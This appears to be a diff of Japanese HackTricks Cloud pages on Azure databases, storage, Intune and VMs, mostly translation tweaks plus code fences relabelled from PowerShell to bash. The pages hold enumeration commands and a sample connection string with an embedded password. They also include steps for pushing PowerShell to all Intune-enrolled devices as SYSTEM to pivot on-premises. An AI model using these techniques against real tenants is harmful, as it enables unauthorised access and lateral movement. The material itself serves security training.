@@ -47,7 +47,7 @@ az logic workflow identity show --name <LogicAppName> --resource-group <Resource
{{#endtab }}
{{#tab name="Az PowerSHell" }}
```powershell
```bash
# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info

View File

@@ -16,7 +16,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
{% endhint %}
## Azure MySQL
Azure Database for MySQLは、MySQL Community Editionに基づいた完全管理型リレーショナルデータベースサービスであり、さまざまなアプリケーションニーズに対してスケーラビリティ、セキュリティ、柔軟性を提供するように設計されています。2つの異なるデプロイメントモデルがあります
Azure Database for MySQLは、MySQL Community Editionに基づいた完全管理型リレーショナルデータベースサービスであり、さまざまなアプリケーションニーズに対してスケーラビリティ、セキュリティ、および柔軟性を提供するように設計されています。2つの異なるデプロイメントモデルがあります
* **Single Server** (引退の道を歩んでいます):
- コスト効率が高く、管理が容易なMySQLデプロイメントに最適化されています。
@@ -30,9 +30,9 @@ Azure Database for MySQLは、MySQL Community Editionに基づいた完全管理
### Key Features
* **Server Management**: **ad-admin**機能は、MySQLサーバーのAzure Active Directory (AAD)管理者を管理することを可能にし、AAD資格情報を介して管理アクセスを制御します。一方、**identity**機能は、Azure Managed Identitiesの割り当てと管理を可能にし、Azureリソースへの安全な資格情報なしの認証を提供します。
* **Lifecycle Management**: サーバーの開始または停止、フレキシブルサーバーインスタンスの削除、構成変更を迅速に適用するためのサーバーの再起動、オートメーションスクリプトを進める前に特定の条件を満たすことを確認するための待機オプションがあります。
* **Security and Networking**: セキュアなデータベースアクセスのためサーバーファイアウォールルールを管理し、必要に応じて仮想ネットワーク構成を切り離すことができます。
* **Data Protection and Backup**: データ回復のためのフレキシブルサーバーのバックアップを管理するオプション、異なるリージョンでサーバーを回復するためのジオリストア、外部使用のためのサーバーバックアップのエクスポート(プレビュー中)、特定の時点にバックアップからサーバーを復元するオプションが含まれています。
* **Lifecycle Management**: サーバーの開始または停止、フレキシブルサーバーインスタンスの削除、構成変更を迅速に適用するためのサーバーの再起動、そして自動化スクリプトを進める前にサーバーが特定の条件を満たすことを確認するための待機オプションがあります。
* **Security and Networking**: 安全なデータベースアクセスのためサーバーファイアウォールルールを管理し、必要に応じて仮想ネットワーク構成を切り離すことができます。
* **Data Protection and Backup**: データ回復のためのフレキシブルサーバーのバックアップを管理するオプション、異なるリージョンでサーバーを回復するためのジオリストア、外部使用のためのサーバーバックアップのエクスポート(プレビュー中)、および特定の時点にバックアップからサーバーを復元するオプションが含まれています。
### Enumeration
@@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group <resource-group-name>
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.MySql
# Get all flexible servers in a resource group
@@ -179,16 +179,16 @@ az mysql flexible-server deploy run \
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCPハッキングを学び、実践する <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View File

@@ -82,7 +82,7 @@ az postgres flexible-server server-logs list --resource-group <resource-group-na
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.PostgreSql
# List flexible-servers in a resource group
@@ -158,15 +158,15 @@ psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>

View File

@@ -10,7 +10,7 @@ Azure SQLは、主に3つの提供形態から成り立っています
1. **Azure SQL Database**: これは**完全管理型データベースサービス**で、Azureクラウド内に個別のデータベースをホストできます。独自のデータベースパターンを学習し、カスタマイズされた推奨事項と自動調整を提供する組み込みのインテリジェンスを備えています。
2. **Azure SQL Managed Instance**: これは、より大規模なSQL Serverインスタンススコープの展開向けです。最新のSQL ServerオンプレミスEnterprise Editionデータベースエンジンとのほぼ100%の互換性を提供し、一般的なセキュリティの懸念に対処するネイティブの仮想ネットワークVNet実装と、オンプレミスSQL Server顧客に有利なビジネスモデルを提供します。
3. **Azure SQL Server on Azure VMs**: これはInfrastructure as a Service (IaaS)で、オンプレミスで実行されているサーバーのように**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。
3. **Azure SQL Server on Azure VMs**: これはInfrastructure as a ServiceIaaSで、オンプレミスで動作しているサーバーのように**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。
### Azure SQL Database
@@ -22,11 +22,11 @@ Azure SQLは、主に3つの提供形態から成り立っています
- **PaaS機能**: 組み込みの高可用性、バックアップ、更新。
- **データの柔軟性**: リレーショナルデータと非リレーショナルデータグラフ、JSON、空間、XMLをサポート。
#### 購入モデル / サービスタイ
#### 購入モデル / サービスタイ
- **vCoreベース**: コンピュート、メモリ、ストレージを独立して選択。一般的な用途、ビジネスクリティカルOLTPアプリ向けの高い耐障害性とパフォーマンスで、最大128TBのストレージにスケールアップ。
- **DTUベース**: コンピュート、メモリ、I/Oを固定のティアにバンドル。一般的なタスクに対するバランスの取れたリソース。
- スタンダード: 一般的なタスクに対するバランスの取れたリソース。
- **vCoreベース**: コンピュート、メモリ、ストレージを独立して選択します。一般的な用途、ビジネスクリティカルOLTPアプリ向けの高い耐障害性とパフォーマンスで、最大128TBのストレージにスケールアップします
- **DTUベース**: コンピュート、メモリ、I/Oを固定のティアにバンドルします。一般的なタスクに対してバランスの取れたリソース。
- スタンダード: 一般的なタスクに対してバランスの取れたリソース。
- プレミアム: 要求の厳しいワークロード向けの高パフォーマンス。
#### デプロイメントモデル
@@ -37,19 +37,19 @@ Azure SQL Databaseは、さまざまなニーズに応じた柔軟なデプロ
- 専用リソースを持つ完全に孤立したデータベース。
- マイクロサービスや単一のデータソースを必要とするアプリケーションに最適。
- **エラスティックプール**:
- 複数のデータベースがプール内でリソースを共有でき
- 複数のデータベースがプール内でリソースを共有できます
- 複数のデータベースにわたる使用パターンが変動するアプリケーションにコスト効率が良い。
#### スケーラブルなパフォーマンスとプール
- **シングルデータベース**: 各データベースは孤立しており、専用のコンピュート、メモリ、ストレージリソースを持っています。リソースはダウンタイムなしで動的にスケールアップまたはスケールダウンできます1〜128 vCores、32 GB〜4 TBストレージ、最大128 TB
- **エラスティックプール**: 複数のデータベース間でリソースを共有し、効率を最大化し、コストを節約します。プール全体のリソースも動的にスケールできます。
- **シングルデータベース**: 各データベースは孤立しており、専用のコンピュート、メモリ、ストレージリソースを持っています。リソースはダウンタイムなしで動的にスケールできます1〜128 vCores、32 GB〜4 TBストレージ、最大128 TB
- **エラスティックプール**: 複数のデータベース間でリソースを共有し、効率を最大化し、コストを削減します。プール全体のリソースも動的にスケールできます。
- **サービスティアの柔軟性**: 一般的な用途のティアでシングルデータベースから小さく始めます。ニーズが増えるにつれてビジネスクリティカルまたはハイパースケールティアにアップグレードします。
- **スケーリングオプション**: 動的スケーリングまたはオートスケーリングの代替。
#### 組み込みの監視と最適化
- **クエリストア**: パフォーマンスの問題を追跡し、リソース消費の多いものを特定し、実行可能な推奨事項を提供します。
- **クエリストア**: パフォーマンスの問題を追跡し、リソース消費を特定し、実行可能な推奨事項を提供します。
- **自動調整**: 自動インデックス作成やクエリプランの修正などの機能でパフォーマンスを積極的に最適化します。
- **テレメトリー統合**: Azure Monitor、Event Hubs、またはAzure Storageを通じて監視をサポートし、カスタマイズされたインサイトを提供します。
@@ -58,13 +58,13 @@ Azure SQL Databaseは、さまざまなニーズに応じた柔軟なデプロ
- **自動バックアップ**: SQL Databaseは、データベースのフル、差分、およびトランザクションログバックアップを自動的に実行します。
- **ポイントインタイムリストア**: バックアップ保持期間内の任意の過去の状態にデータベースを復元します。
- **地理的冗長性**
- **フェイルオーバーグループ**: データベースをグループ化して自動フェイルオーバーを行うことで、災害復旧を簡素化します。
- **フェイルオーバーグループ**: データベースをグループ化して自動フェイルオーバーを簡素化し、地域間での災害復旧を実現します。
### Azure SQL Managed Instance
**Azure SQL Managed Instance**は、SQL Serverとのほぼ100%の互換性を提供し、ほとんどの管理タスクアップグレード、パッチ適用、バックアップ、監視を自動的に処理するプラットフォームとしてのサービスPaaSデータベースエンジンです。最小限の変更でオンプレミスのSQL Serverデータベースを移行するためのクラウドソリューションを提供します。
#### サービスタイ
#### サービスタイ
- **一般的な用途**: 標準的なI/Oおよびレイテンシ要件を持つアプリケーション向けのコスト効率の良いオプション。
- **ビジネスクリティカル**: 重要なワークロード向けの低I/Oレイテンシを持つ高パフォーマンスオプション。
@@ -72,19 +72,19 @@ Azure SQL Databaseは、さまざまなニーズに応じた柔軟なデプロ
#### 高度なセキュリティ機能
* **脅威保護**: 疑わしい活動やSQLインジェクション攻撃に対する高度な脅威保護アラート。コンプライアンスのためのデータベースイベントを追跡およびログする監査。
* **アクセス制御**: 中央集権的なアイデンティティ管理のためのMicrosoft Entra認証。細かアクセス制御のための行レベルセキュリティと動的データマスキング。
* **アクセス制御**: 中央集権的なアイデンティティ管理のためのMicrosoft Entra認証。細かアクセス制御のための行レベルセキュリティと動的データマスキング。
* **バックアップ**: ポイントインタイムリストア機能を持つ自動および手動のバックアップ。
### Azure SQL Virtual Machines
**Azure SQL Virtual Machines**は、オンプレミスで実行されているサーバーのように**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。異なるマシンサイズや幅広いSQL Serverバージョンとエディションを持つことができます。
**Azure SQL Virtual Machines**は、オンプレミスで動作しているサーバーのように**オペレーティングシステムとSQL Serverインスタンスを制御したい**マイグレーションに最適です。異なるマシンサイズや、さまざまなSQL Serverバージョンとエディションを選択できます。
#### 主な機能
**自動バックアップ**: SQLデータベースのバックアップをスケジュールします。
**自動パッチ適用**: メンテナンスウィンドウ中にWindowsおよびSQL Serverの更新を自動的にインストールします。
**Azure Key Vault統合**: SQL Server VMのためにKey Vaultを自動的に構成します。
**Defender for Cloud統合**: ポータルでDefender for SQLの推奨事項を表示します。
**Defender for Cloud統合**: ポータルでSQLの推奨事項を表示します。
**バージョン/エディションの柔軟性**: VMを再デプロイすることなくSQL Serverのバージョンまたはエディションのメタデータを変更します。
#### セキュリティ機能
@@ -166,7 +166,7 @@ az sql vm show --resource-group <res-grp> --name <name>
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
```bash
# List Servers
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
@@ -208,8 +208,8 @@ Get-AzSqlVM
### 接続してSQLクエリを実行する
例として[Az WebAppの列挙](az-app-services.md)から接続文字列(資格情報を含む)を見つけることができます
```powershell
例として[Az WebAppの列挙](az-app-services.md)から接続文字列(資格情報を含む)を見つけることができます:
```bash
function invoke-sql{
param($query)
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
@@ -228,7 +228,7 @@ $Connection.Close()
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
```
データベースにアクセスするためにsqlcmdを使用することもできます。サーバーがパブリック接続を許可しているかどうかを確認することが重要です `az sql server show --name <server-name> --resource-group <resource-group>`、また、ファイアウォールルールが私たちのIPのアクセスを許可しているかどうかも確認する必要があります。
```powershell
```bash
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
```
## 参考文献

View File

@@ -16,10 +16,10 @@ Azure Storage Accountsは、Microsoft Azureの基本的なサービスで、ス
**セキュリティ構成オプション**:
- **REST API操作のために安全な転送を要求**: ストレージとの通信にTLSを要求します。
- **個のコンテナでの匿名アクセスを有効にすることを許可**: そうでない場合、将来的に匿名アクセスを有効にすることはできません。
- **個のコンテナでの匿名アクセスを有効にすることを許可**: そうでない場合、将来的に匿名アクセスを有効にすることはできません。
- **ストレージアカウントキーアクセスを有効にする**: そうでない場合、共有キーによるアクセスは禁じられます。
- **最小TLSバージョン**
- **コピー操作の許可されたスコープ**: すべてのストレージアカウントから、同じEntraテナントのすべてのストレージアカウントから、または同じ仮想ネットワーク内のプライベートエンドポイントを持つストレージアカウントから許可します。
- **コピー操作の許可されたスコープ**: すべてのストレージアカウントから、同じEntraテナントのすべてのストレージアカウントから、または同じ仮想ネットワーク内のプライベートエンドポイントを持つストレージアカウントからのアクセスを許可します。
**Blobストレージオプション**:
@@ -53,15 +53,15 @@ Azure Storage Accountsは、Microsoft Azureの基本的なサービスで、ス
### ストレージエンドポイント
<table data-header-hidden><thead><tr><th width="197">ストレージサービス</th><th>エンドポイント</th></tr></thead><tbody><tr><td><strong>Blobストレージ</strong></td><td><code>https://&#x3C;storage-account>.blob.core.windows.net</code><br><br><code>https://&#x3C;stg-acc>.blob.core.windows.net/&#x3C;container-name>?restype=container&#x26;comp=list</code></td></tr><tr><td><strong>データレイクストレージ</strong></td><td><code>https://&#x3C;storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://&#x3C;storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>キューストレージ</strong></td><td><code>https://&#x3C;storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>テーブルストレージ</strong></td><td><code>https://&#x3C;storage-account>.table.core.windows.net</code></td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="197">ストレージサービス</th><th>エンドポイント</th></tr></thead><tbody><tr><td><strong>Blobストレージ</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>データレイクストレージ</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>キューストレージ</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>テーブルストレージ</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
### 公開露出
「Blobの公開アクセスを許可」が**有効**(デフォルトでは無効)になっている場合、コンテナを作成する際に次のことが可能です:
- **Blobを読むための公開アクセスを提供**(名前を知っている必要があります)。
- **コンテナのBlobをリスト**し、**それらを読む**。
- 完全に**プライベート**にする。
- **コンテナのBlobをリスト**し、**読む**ことができます
- 完全に**プライベート**にすることができます
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
@@ -77,7 +77,7 @@ Azure Storage Accountsは、Microsoft Azureの基本的なサービスで、ス
### アクセスキー
ストレージアカウントにはアクセスキーがあり、これを使用してアクセスできます。これにより、ストレージアカウントへの**完全なアクセス**が提供されます。
ストレージアカウントにはアクセスするために使用できるアクセスキーがあります。これにより、ストレージアカウントへの**完全なアクセス**が提供されます。
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
@@ -89,9 +89,9 @@ Azure Storage Accountsは、Microsoft Azureの基本的なサービスで、ス
> `CanonicalizedResource`部分は、ストレージサービスリソースURIを表します。URLの任意の部分がエンコードされている場合、`CanonicalizedResource`内でもエンコードする必要があります。
> [!NOTE]
> これは**デフォルトで`az` cliによって使用され**、リクエストを認証します。Entra IDプリンシパルの資格情報を使用するには、パラメータ`--auth-mode login`を指定します。
> これは**デフォルトで`az` cliによって使用されます**。Entra IDプリンシパルの資格情報を使用するには、パラメータ`--auth-mode login`を指定します。
- Blob、キュー、ファイルサービスの**共有キーを生成する**ことが可能で、次の情報に署名します
- **Blob、キュー、ファイルサービスのための共有キーを生成**することが可能で、次の情報に署名します:
```bash
StringToSign = VERB + "\n" +
Content-Encoding + "\n" +
@@ -108,7 +108,7 @@ Range + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- **テーブルサービス**のための共有キーを生成することは、以下の情報に署名することで可能です:
- **テーブルサービス**のための共有キーを生成することは、以下の情報に署名することで可能です
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -116,7 +116,7 @@ Content-Type + "\n" +
Date + "\n" +
CanonicalizedResource;
```
- **Blob、キュー、ファイルサービス**のための**ライト共有キー**を生成することが可能であり、以下の情報に署名します:
- **Blob、キュー、ファイルサービス**のための**ライト共有キー**を生成することが可能で、以下の情報に署名します:
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -125,12 +125,12 @@ Date + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- **テーブルサービス**のための**ライト共有キー**を生成することは、以下の情報に署名することで可能です:
- テーブルサービスのための**ライト共有キー**を生成することが可能です。次の情報に署名します:
```bash
StringToSign = Date + "\n"
CanonicalizedResource
```
次に、キーを使用するには、次の構文に従ってAuthorizationヘッダーで行うことができます
その後、キーを使用するには、次の構文に従ってAuthorizationヘッダーに記述できます:
```bash
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
#e.g.
@@ -142,16 +142,16 @@ x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
Content-Length: 0
```
### **共有アクセス署名** (SAS)
### **Shared Access Signature** (SAS)
共有アクセス署名 (SAS) は、Azure Storage アカウント内のリソースにアクセスするための特定の権限を付与する**安全で時間制限のある URL** であり、アカウントのアクセスキーを公開することなく使用できます。アクセスキーはすべてのリソースに対する完全な管理アクセスを提供しますが、SAS は権限(読み取りや書き込みなど)を指定し、期限を定義することで細かい制御を可能にします。
Shared Access Signatures (SAS) は、アカウントのアクセスキーを公開することなく、Azure Storage アカウント内のリソースにアクセスするための特定の権限を**付与する**安全で時間制限のある URLす。アクセスキーはすべてのリソースに対する完全な管理アクセスを提供しますが、SAS は権限(読み取りや書き込みなど)を指定し、期限を定義することで、より細かい制御を可能にします。
#### SAS の種類
#### SAS タイプ
- **ユーザー委任 SAS**: これは **Entra ID プリンシパル** から作成され、SAS に署名し、ユーザーから SAS への権限を委任します。**Blob およびデータレイクストレージ** でのみ使用できます ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas))。生成されたすべてのユーザー委任 SAS を **取り消す** ことが可能です。
- **ユーザー委任 SAS**: これは **Entra ID プリンシパル** から作成され、SAS に署名し、ユーザーから SAS への権限を委任します。これは **blob およびデータレイクストレージ** でのみ使用できます ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas))。生成されたすべてのユーザー委任 SAS を **取り消す** ことが可能です。
- ユーザーが持っている権限よりも「多くの」権限を持つ委任 SAS を生成することは可能ですが、プリンシパルがそれらの権限を持っていない場合は機能しません(権限昇格はありません)。
- **サービス SAS**: これはストレージアカウントの **アクセスキー** のいずれかを使用して署名されます。特定のリソースへのアクセスを単一のストレージサービスに付与するために使用できます。キーが更新されると、SAS は機能しなくなります。
- **アカウント SAS**: これもストレージアカウントの **アクセスキー** のいずれかで署名されます。ストレージアカウントサービスBlob、Queue、Table、File全体のリソースへのアクセスを付与し、サービスレベルの操作を含むことができます。
- **サービス SAS**: これはストレージアカウントの **アクセスキー** のいずれかを使用して署名されます。これは、単一のストレージサービス内の特定のリソースへのアクセスを付与するために使用できます。キーが更新されると、SAS は機能しなくなります。
- **アカウント SAS**: これもストレージアカウントの **アクセスキー** のいずれかで署名されます。これは、ストレージアカウントサービスBlob、Queue、Table、File全体のリソースへのアクセスを付与し、サービスレベルの操作を含むことができます。
**アクセスキー** で署名された SAS URL は次のようになります:
@@ -173,14 +173,14 @@ SAS を生成する際には、付与すべき権限を示す必要がありま
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
## Azure Blob Storage の SFTP サポート
## SFTP サポート for Azure Blob Storage
Azure Blob Storage は現在、SSH ファイル転送プロトコル (SFTP) をサポートしており、カスタムソリューションやサードパーティ製品を必要とせずに、Blob Storage への安全なファイル転送と管理を可能にします。
### 主な機能
- プロトコルサポート: SFTP は階層名前空間 (HNS) で構成された Blob Storage アカウントで機能します。これにより、Blob をディレクトリおよびサブディレクトリに整理し、ナビゲーションを容易にします。
- セキュリティ: SFTP は認証のためにローカルユーザーのアイデンティティを使用し、RBAC や ABAC とは統合されません。各ローカルユーザーは次の方法で認証できます:
- プロトコルサポート: SFTP は階層名前空間 (HNS) で構成された Blob Storage アカウントで動作します。これにより、Blob をディレクトリおよびサブディレクトリに整理し、ナビゲーションを容易にします。
- セキュリティ: SFTP は認証のためにローカルユーザーのアイデンティティを使用し、RBAC や ABAC とは統合されていません。各ローカルユーザーは次の方法で認証できます:
- Azure 生成のパスワード
- 公開鍵-秘密鍵の SSH キーペア
- 細かい権限: 読み取り、書き込み、削除、リストなどの権限を最大 100 のコンテナに対してローカルユーザーに割り当てることができます。
@@ -193,7 +193,7 @@ Azure Blob Storage は現在、SSH ファイル転送プロトコル (SFTP) を
- SFTP 設定:
- ストレージアカウントで SFTP を有効にします。
- 適切な権限を持つローカルユーザーのアイデンティティを作成します。
- ユーザーのホームディレクトリを設定して、コンテナ内の開始位置を定義します。
- コンテナ内でのユーザーの開始位置を定義するために、ユーザーのホームディレクトリを構成します。
### 権限
@@ -330,7 +330,7 @@ az storage account local-user list \
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount | fl
# Get rules to access the storage account

View File

@@ -4,7 +4,7 @@
## 基本情報
**Azure Table Storage** は、大量の構造化された非リレーショナルデータを保存するために設計された NoSQL キー-バリューストアです。高い可用性、低遅延、およびスケーラビリティを提供し、大規模データセットを効率的に処理します。データはテーブルに整理され、各エンティティはパーティションキーと行キーによって識別され、迅速な検索を可能にします。データは静止時の暗号化、ロールベースのアクセス制御、および安全で管理されたストレージのための共有アクセス署名などの機能をサポートしており、幅広いアプリケーションに適しています。
**Azure Table Storage** は、大量の構造化された非リレーショナルデータを保存するために設計された NoSQL キー-バリューストアです。高い可用性、低遅延、および大規模データセットを効率的に処理するためのスケーラビリティを提供します。データはテーブルに整理され、各エンティティはパーティションキーと行キーによって識別され、迅速な検索を可能にします。データは静止時の暗号化、ロールベースのアクセス制御、および安全で管理されたストレージのための共有アクセス署名などの機能をサポートしており、幅広いアプリケーションに適しています。
テーブルストレージには**組み込みのバックアップメカニズムはありません**。
@@ -63,7 +63,7 @@ az storage entity merge \
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount
@@ -78,7 +78,7 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -Reso
> [!TIP]
> 使用するアカウントキーを示すには、パラメータ `--account-key` を使用します\
> SAS トークンを使用してアクセスするには、SAS トークンと共にパラメータ `--sas-token` を使用します
> SAS トークンを使用してアクセスするには、SAS トークンと共にパラメータ `--sas-token` を使用します
## Privilege Escalation

View File

@@ -9,18 +9,18 @@ Microsoft Intuneは、**アプリとデバイス管理**のプロセスを効率
## クラウド -> オンプレミス
**グローバル管理者**または**Intune管理者**の役割を持つユーザーは、任意の**登録されたWindows**デバイスで**PowerShell**スクリプトを実行できます。\
**スクリプト**は、変更がない場合にのみデバイス上で**SYSTEM**の**特権**で一度実行され、Intuneからは**スクリプトの出力を確認することはできません**
```powershell
**スクリプト**は、変更がない限りデバイス上で**SYSTEM**の**特権**で一度だけ実行され、Intuneからは**スクリプトの出力を確認することはできません**
```bash
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
```
1. [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) にログインするか、Pass-The-PRTを使用します。
2. **デバイス** -> **すべてのデバイス**に移動して、Intuneに登録されているデバイスを確認します。
3. **スクリプト**に移動し、Windows 10のために**追加**をクリックします。
4. **Powershellスクリプト**を追加します。
2. **デバイス** -> **すべてのデバイス** に移動して、Intuneに登録されているデバイスを確認します。
3. **スクリプト** に移動し、Windows 10のために **追加** をクリックします。
4. **Powershellスクリプト** を追加します。
- ![](<../../../images/image (264).png>)
5. **割り当て**ページで**すべてのユーザーを追加**および**すべてのデバイスを追加**を指定します。
5. **割り当て** ページで **すべてのユーザーを追加****すべてのデバイスを追加** を指定します。
スクリプトの実行には**最大1時間**かかる場合があります。
スクリプトの実行には最大で **1時間** かかる場合があります。
## 参考文献

View File

@@ -20,16 +20,16 @@ Azure 仮想マシン (VMs) は、柔軟でオンデマンドの **クラウド
- **セキュリティタイプ**:
- **標準セキュリティ**: これは特別な構成を必要としないデフォルトのセキュリティタイプです。
- **信頼できる起動**: このセキュリティタイプは、Secure Boot と仮想トラステッドプラットフォームモジュール (vTPM) を使用して、ブートキットやカーネルレベルのマルウェアに対する保護を強化します。
- **機密 VM**: 信頼できる起動に加えて、VM、ハイパーバイザー、およびホスト管理間のハードウェアベースの分離を提供し、ディスク暗号化を改善し、[**その他**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。**
- **認証**: デフォルトでは新しい **SSH キーが生成されます**が、公開鍵を使用したり、以前のキーとデフォルトのユーザー名 **azureuser** を使用することも可能です。また、**パスワード**を使用するように構成することもできます。
- **機密 VM**: 信頼できる起動に加えて、VM、ハイパーバイザー、およびホスト管理間のハードウェアベースの分離を提供し、ディスク暗号化を改善し、[**詳細**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。**
- **認証**: デフォルトでは新しい **SSH キーが生成されます**が、公開鍵を使用したり、以前のキーとデフォルトのユーザー名 **azureuser** を使用することも可能です。**パスワード**を使用するように構成することもできます。
